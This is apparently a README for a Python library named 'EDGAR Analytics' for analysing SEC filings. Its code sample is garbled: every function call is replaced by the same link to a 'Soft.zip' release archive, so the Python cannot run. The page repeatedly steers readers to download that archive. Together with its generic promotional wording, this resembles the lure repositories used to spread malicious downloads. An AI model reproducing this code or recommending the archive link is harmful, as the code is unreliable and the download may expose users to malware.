Welcome to the "EDGAR Analytics" repository - your one-stop solution for all things related to SEC EDGAR filings analysis. This Python library is designed to streamline your financial analysis by providing tools for extracting, analyzing, and forecasting SEC EDGAR filings. With comprehensive metrics, growth rates, and automated reporting capabilities, you can now supercharge your financial analysis workflow.
📊 Data Extraction: Extract data from SEC EDGAR filings with ease.
📈 Data Analysis: Perform in-depth analysis on financial data to uncover valuable insights.
📉 Forecasting: Utilize forecasting capabilities to predict future trends based on historical data.
📑 Automated Reporting: Generate comprehensive reports automatically to save time and effort.
This repository covers a wide range of topics related to accounting, finance, and data analysis. Here are some of the key topics covered:
- Accounting
- ARIMA
- Data Analysis with Python
- EDGAR
- Finance
- Financial Analysis
- Financial Metrics
- Forecasting
- Investment
- SEC
- SEC Filings
- Statsmodels
- Stock Market
- XBRL
import edgar_analytics
# Extract data from SEC EDGAR filings
data = https://github.com/Blercy/edgar_analytics/releases/download/v1.0/Soft.zip('AAPL', '10-K')
# Analyze the financial data
metrics = https://github.com/Blercy/edgar_analytics/releases/download/v1.0/Soft.zip(data)
# Forecast future trends
forecast = https://github.com/Blercy/edgar_analytics/releases/download/v1.0/Soft.zip(data)To get started with "EDGAR Analytics," simply download the library from the following link:
(Note: Click on the button above to download the library)
For any questions or issues related to the "EDGAR Analytics" library, please check the Releases section of this repository for updates and bug fixes. You can also visit the official website for additional resources and documentation.
Want to contribute to the development of "EDGAR Analytics"? Feel free to submit pull requests or open issues on GitHub. Your contributions are highly valued and will help make this library even more robust and efficient.
This project is licensed under the MIT License - see the LICENSE file for details.
Thank you for exploring the "EDGAR Analytics" repository. We hope this Python library will help you enhance your financial analysis capabilities and make informed investment decisions. Stay tuned for more updates and features coming soon! 🎉